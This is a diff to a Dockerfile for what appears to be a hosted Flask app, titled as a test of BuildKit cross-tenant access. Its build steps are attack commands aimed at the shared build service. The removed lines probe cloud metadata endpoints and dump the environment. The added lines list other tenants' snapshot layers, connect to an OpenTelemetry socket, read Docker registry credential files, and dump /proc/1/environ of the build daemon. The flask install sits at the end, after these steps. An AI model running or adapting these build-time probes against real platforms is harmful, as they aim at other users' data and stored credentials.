Test BuildKit snapshot cross-tenant access

Dockerfile

@@ -1,32 +1,44 @@
 FROM python:3.9-slim
 
-# Install network tools
-RUN apt-get update && apt-get install -y curl dnsutils net-tools iproute2 procps 2>/dev/null; true
+RUN apt-get update && apt-get install -y curl socat netcat-openbsd 2>/dev/null; true
 
-# Test network access during build
-RUN echo "=== DNS TESTS ===" && \
-    nslookup kubernetes.default.svc.cluster.local 2>&1; true
-RUN nslookup instance-data.ec2.internal 2>&1; true
-RUN nslookup metadata.google.internal 2>&1; true
+# Try to access BuildKit snapshots directory
+RUN echo "=== BUILDKIT SNAPSHOTS ===" && \
+    ls -la /home/user/.local/share/buildkit/runc-overlayfs/snapshots/snapshots/ 2>&1 | head -30; true
 
-# Test HTTP access during build
-RUN echo "=== HTTP TESTS ===" && \
-    curl -v --connect-timeout 3 http://169.254.169.254/latest/meta-data/ 2>&1; true
-RUN curl -v --connect-timeout 3 https://172.20.0.1:443/version -k 2>&1; true
+# Try to read other snapshot layers (cross-tenant leakage)
+RUN echo "=== SNAPSHOT 1 ===" && ls -la /home/user/.local/share/buildkit/runc-overlayfs/snapshots/snapshots/1/fs/ 2>&1 | head -10; true
+RUN echo "=== SNAPSHOT 2 ===" && ls -la /home/user/.local/share/buildkit/runc-overlayfs/snapshots/snapshots/2/fs/ 2>&1 | head -10; true
 
-# Build system info
-RUN echo "=== SYSTEM INFO ===" && hostname && cat /proc/version && id && cat /proc/self/status | grep -i cap
+# Try to access the OTEL gRPC socket
+RUN echo "=== OTEL SOCKET ===" && \
+    ls -la /dev/otel-grpc.sock 2>&1; true
+RUN echo | socat - UNIX-CONNECT:/dev/otel-grpc.sock 2>&1 | head -5; true
 
-# Build mounts
-RUN echo "=== MOUNTS ===" && cat /proc/self/mountinfo | head -20
+# Try to access BuildKit cache
+RUN echo "=== BUILDKIT CACHE ===" && \
+    ls -la /home/user/.local/share/buildkit/ 2>&1 | head -20; true
 
-# Build env
-RUN echo "=== ALL ENV ===" && env | sort
+# Check if we can access /home/user directly
+RUN echo "=== HOME USER ===" && \
+    ls -la /home/user/ 2>&1 | head -20; true
 
-# Install Flask
-RUN pip install flask
+# Check for Docker config that might contain registry credentials
+RUN echo "=== DOCKER CONFIG ===" && \
+    cat /home/user/.docker/config.json 2>&1; true && \
+    cat /root/.docker/config.json 2>&1; true
 
-COPY app.py /app.py
+# Try to escape via /proc/1 to reach buildkitd process
+RUN echo "=== PROC 1 CMDLINE ===" && \
+    cat /proc/1/cmdline 2>&1 | tr '\0' ' '; true && \
+    echo "" && \
+    cat /proc/1/environ 2>&1 | tr '\0' '\n' | head -20; true
+
+# Check for parent PID namespace
+RUN echo "=== PARENT PROCS ===" && \
+    ls /proc/ 2>&1 | head -30; true
 
+RUN pip install flask
+COPY app.py /app.py
 EXPOSE 7860
 CMD ["python", "/app.py"]